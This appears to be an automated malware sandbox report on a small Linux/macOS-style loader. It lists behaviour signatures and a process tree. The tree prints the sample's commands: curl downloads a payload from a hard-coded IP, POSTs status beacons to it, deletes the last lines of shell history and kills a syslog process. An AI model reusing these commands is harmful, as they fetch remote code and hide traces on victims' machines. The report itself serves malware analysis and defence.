Analysis

  • max time kernel
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/11/2026, 12:19

General

  • Target
    fd8dc70d485d
  • Size 4KB
  • Sample261102-phktbafa43
  • SHA256 e5c5a71ce6ee862291715c1c04be8518be06a5367f8b2263b2e9d905e79f256c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/fd8dc70d485d
    /tmp/fd8dc70d485d
    1⤵
      PID:642
      • /usr/bin/arch
        arch
        2⤵
          PID:648
        • /usr/bin/base64
          base64 -D
          2⤵
          • Deobfuscate/Decode Files or Information
          PID:659
        • /usr/bin/whoami
          whoami
          2⤵
            PID:667
          • /usr/bin/arch
            arch
            2⤵
              PID:669
            • /bin/mktemp
              mktemp -d
              2⤵
                PID:671
              • /bin/mkdir
                mkdir -p /root/Library/Caches/com.apple.system
                2⤵
                • Reads runtime system information
                PID:673
              • /usr/bin/pkill
                pkill -9 -f com.apple.syslogd
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:674
              • /bin/sleep
                sleep 0.1
                2⤵
                  PID:679
                • /usr/bin/arch
                  arch
                  2⤵
                    PID:680
                  • /usr/bin/base64
                    base64 -D
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:684
                  • /usr/bin/head
                    head -c8 /dev/urandom
                    2⤵
                      PID:686
                    • /usr/bin/tr
                      tr -d " \\n"
                      2⤵
                        PID:688
                      • /usr/bin/od
                        od -An -tx1
                        2⤵
                          PID:687
                        • /bin/uname
                          uname -m
                          2⤵
                            PID:690
                          • /usr/bin/curl
                            curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"9eef343dc71d1d2f\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 5
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:689
                          • /usr/bin/id
                            id -u
                            2⤵
                            • Reads runtime system information
                            PID:692
                          • /bin/sed
                            sed -i "\$d" /root/.zsh_history
                            2⤵
                            • Reads runtime system information
                            PID:694
                          • /usr/bin/curl
                            curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.158.199.240/afa932f75cd?force=1" -o /tmp/tmp.15kflBvHVS/.tFZDZY
                            2⤵
                            • Checks CPU configuration
                            PID:695
                          • /bin/sed
                            sed -i "\$d" /root/.bash_history
                            2⤵
                            • Reads Bash history
                            • Reads runtime system information
                            PID:696
                          • /usr/bin/arch
                            arch
                            2⤵
                              PID:697
                            • /bin/uname
                              uname -r
                              2⤵
                                PID:699
                              • /bin/rm
                                rm -rf /tmp/tmp.15kflBvHVS
                                2⤵
                                  PID:701
                                • /usr/bin/curl
                                  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"9eef343dc71d1d2f\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 3
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:700

                              Network

                                    MITRE ATT&CK Enterprise v16

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